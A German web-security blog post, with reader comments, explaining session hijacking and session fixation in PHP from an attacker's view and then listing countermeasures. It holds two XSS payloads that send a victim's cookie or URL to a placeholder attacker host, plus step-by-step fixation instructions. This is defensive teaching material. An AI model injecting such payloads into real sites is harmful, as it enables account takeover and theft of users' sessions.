Angriffe auf Webanwendungen – Teil 2: Session-Highjacking und Session-Fixation

Dieser Post setzt die Kenntnis von XSS und die des PHP Session Managements voraus.

Disclaimer

Ich beschreibe diese Attacke aus Angreifer-Sicht. Wenn man sich in die Rolle des Angreifers hineinversetzen kann, fällt es leichter, weitere Sicherheitslücken zu identifizieren. Ich bin also nicht zur dunklen Seite gewechselt und stifte auch nicht dazu an, es zu tun.

Was ist Session-Highjacking / Session-Fixation

Eigentlich handelt es sich um ganz simple Verfahren. Beim Session-Highjacking versuche ich, an die Session-ID (m)eines Opfers heranzukommen und setze diese Session-ID bei mir selbst. Auf diese Art und Weise gaukle ich dem Server also vor, dass es sich um die selbe Person handelt. Ich erhalte bequem Zugriff auf die Daten des Opfers, da ich ja seine Session hab. Bei der Session-Fixation ist der Prozess sehr ähnlich: Ich juble meinem Opfer aktiv eine Session-ID unter, welche ich bei mir dann selbst setze. Das Opfer meldet sich an und ich habe die Session-ID, welche ich bei mir setze – Das Ergebnis ist in jedem Fall das Gleiche: Ich habe Vollzugriff.

Wie geht Session-Highjacking?

Eine Variante ist ein Man in the middle-Angriff, bei dem ich mich zwischen das Opfer und den Router hänge und somit die Session-ID per Paketsniffer auslesen kann. Ich möchte mich aber eher auf den konventionellen Weg mit Web-Techniken beschränken. Wie ich im Artikel übers PHP Session Management bereits beschrieben habe, wird die Session-ID entweder per URL in der Form ?PHPSESSID=…. angehangen oder in einem Session-Cookie auf dem PC des Users gespeichert, der dann bei jedem Request an den Server übertragen wird.

Wenn es mir jetzt also gelingt, mittels XSS-Techniken folgenden Code auf der Webseite zu platzieren:

<script>
var url="http://www.attacker.com/getsession.php?session="+document.cookie,
	theimg = document.createElement("img");
	
theimg.src=url;
document.body.appendChild(theimg);
theimg.style.display="none";
</script>

So kriege ich direkt die Session-ID des Benutzers in die Hände gespielt. Als nächsten Schritt melde ich mich selbst auf der Webseite mit meinem eigenen Account an – dadurch kriege ich ein Session-Cookie dieser Webseite mit meiner Session-ID verpasst. Jetzt kommt das Plugin Cookie Edit ins Spiel. Damit editiere ich meinen Session-Cookie und ändere die Session-ID auf die des Opfers. Wenn alles gut ging, bin ich nun als mein Opfer eingeloggt.

Sessioncookie editieren

Sessioncookie editieren

Wenn die Webseite nicht mit Session-Cookies sondern mit dem ?PHPSESSID=… – Parameter arbeitet, wird es noch viel einfacher. Dann sieht das per XSS einzuschleusende Script so aus (Abwandlung: document.url statt document.cookie):

<script>
var url="http://www.attacker.com/getsession.php?url="+document.url,
	theimg = document.createElement("img");
	
theimg.src=url;
document.body.appendChild(theimg);
theimg.style.display="none";
</script>

Damit wird die URL übertragen, in der ja die Session-ID drinsteckt. Ich selbst brauch nun blos genau diese URL aufrufen und habe damit automatisch die Session-ID des Opfers – einfacher gehts nicht. Voraussetzung ist natürlich, dass ich erstmal mit XSS die Seite manipulieren kann. Wäre das geklärt. Nächstes Thema.

Wie geht Session-Fixation?

  1. Ich logge mich auf der Seite mit meinem eigenen Account ein, von der ich den Useraccount meines Opfers stehlen will.
  2. Mittels Edit Cookie kopiere ich meine Session-ID (siehe Bild oben).
  3. Nun prüfe ich, ob die Seite auch den ?PHPSESSID=… – Parameter akzeptiert. Dazu einfach per http://www.webseite.de?PHPSESSID=1234 überprüfen, ob ich immer noch eingeloggt bin. Wenn das nicht mehr der Fall ist, wurde meine Session-ID auf 1234 gesetzt, die es nicht gibt. Ist das der Fall, schicke ich meinem Opfer nun einfach den Link http://www.webseite.de?PHPSESSID=[meine-session-id]. Akzeptiert die Webseite keine Session-IDs per Parameter, wird es beträchtlich schwieriger und ich muss meinem Opfer einen Session-Cookie mit meiner Session unterjubeln. Das ist dann allerdings wesentlich komplizierter, als auf Session-Highjacking zu setzen, da ich auch wieder eine XSS-Lücke auf der Webseite ausfindig machen muss. Denn nur wenn ich von der betreffenden Webseite selbst den Cookie setze, wird er als valider Session-Cookie akzeptiert.
  4. Sobald sich das Opfer mit seinem Account anmeldet, habe ich Zugriff. Je nach Aufbau des Angriffs kann es allerdings auch dazu kommen, dass das Opfer plötzlich mit meinem Account eingeloggt ist. Dies gilt es vorher zu prüfen (mit verschiedenen Browsern). Sollte das der Fall sein, schicke ich dem Opfer eine frei ausgedachte Session-ID und setze diese dann im Anschluss bei mir selbst.

Gegenmaßnahmen zum Session-Highjacking und Session-Fixation

  • Folgende php.ini Einstellungen verwenden (genauer erklärt hier):
    session.use_cookies = 1
    session.use_only_cookies = 1
    session.use_trans_sid = 0
    session.cookie_httponly = 1 
    

    Damit wird zumindest verhindert, dass die Session-ID in der URL übermittelt wird. session.cookie_httponly sorgt dafür, dass der Browser nicht per document.cookie auf den Session-Cookie zugreifen wird – das ist leider noch nicht weitreichend implementiert.

    Korrektur: Nachdem ich einen Fehler in meinem Testscript entdeckt hatte, habe ich erneut alle relevanten Browser bis herunter zum IE 6 getestet und musste feststellen, dass sich alle absolut korrekt verhalten und keine Session-Cookies per Javascript und document.cookie ausliefern!

    Genaugenommen erhöhen wir durch die obigen 4 Einstellungen die Sicherheit nur, machen Session Highjacking aber nicht unmöglich

  • Indem auf jeder Seite
    session_regenerate_id();

    aufgerufen wird, wird die Session-ID auf jeder Page gewechselt. Dadurch sinkt das Risiko, dass der Angreifer in Besitz einer gültigen Session-ID kommt drastisch, denn das Opfer müsste sich immer noch auf der selben Seite befinden wie es sich befand, als die Session-ID gehighjackt wurde.

  • Alle XSS-Lücken schließen (wirkungslos bei Session-Fixation aber generell immer empfehlenswert)
  • Kopplung des Useragents und der IP an die Session:
    if ($_SERVER['REMOTE_ADDR'] !== $_SESSION['last_ip'] ||
        $_SERVER['HTTP_USER_AGENT'] !== $_SESSION['last_useragent'])
    {
    	//attack detected
    }
    
    $_SESSION['last_ip'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['last_useragent'] = $_SERVER['HTTP_USER_AGENT'];
    

    Kann allerdings nicht immer unproblematisch sein, da in Internet-Caffees und hinter Proxies andere Regeln gelten ;).

  • Logout-Möglichkeit anbieten, die die Session zerstört sowie per vernünftiger php.ini – Einstellung die
    session.gc_maxlifetime

    beschränken.

  • Die Prüfung, ob der Benutzer von der eigenen Seite kam, macht auf den ersten Blick zwar erstmal Sinn, allerdings greift auch hier wieder das Problem mit den Proxies, die evtl. den Referrer komplett wegblocken, obwohl der Benutzer garnichts böses im Schilde führt. Zudem kann der Angreifer selbst auch seinen Referrer anpassen.

Weitere Teile der Serie

Weitere Posts:

Dieser Beitrag wurde unter php, Security, webdev veröffentlicht. Setze ein Lesezeichen auf den Permalink.

8 Antworten auf Angriffe auf Webanwendungen – Teil 2: Session-Highjacking und Session-Fixation

  1. Oliver sagt:

    Eine hübsche Alternative bzw. Ergänzung ist auch
    http://www.hardened-php.net/suhosin/configuration.html#suhosin.cookie.encrypt

    Ist die Cookie Verschlüsselung aktiviert, kann sich ein Angreifer mit der erbeuteten Session nämlich getrost den A… abwischen. :-)

  2. Sebastian sagt:

    Schöner Artikel, aber nen kleinen Dreher hast du bei

    $_SESSION['last_ip'] = $_SERVER['HTTP_USER_AGENT'];
    $_SESSION['last_useragent'] = $_SERVER['REMOTE_ADDR'];

  3. david sagt:

    Danke, ist ausgebessert!

  4. Kalle Wuselbaltz sagt:

    Schöne Serie, habe dabei was gelernt (nämlich, dass auch Inhalt aus dem $_SERVER array ge-htmlspecialchar-t werden sollte :))

    Eine Anmerkung zu diesem Artikel: Es heißt „hijacking“.
    Lg

Schreibe einen Kommentar zu david Antworten abbrechen

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert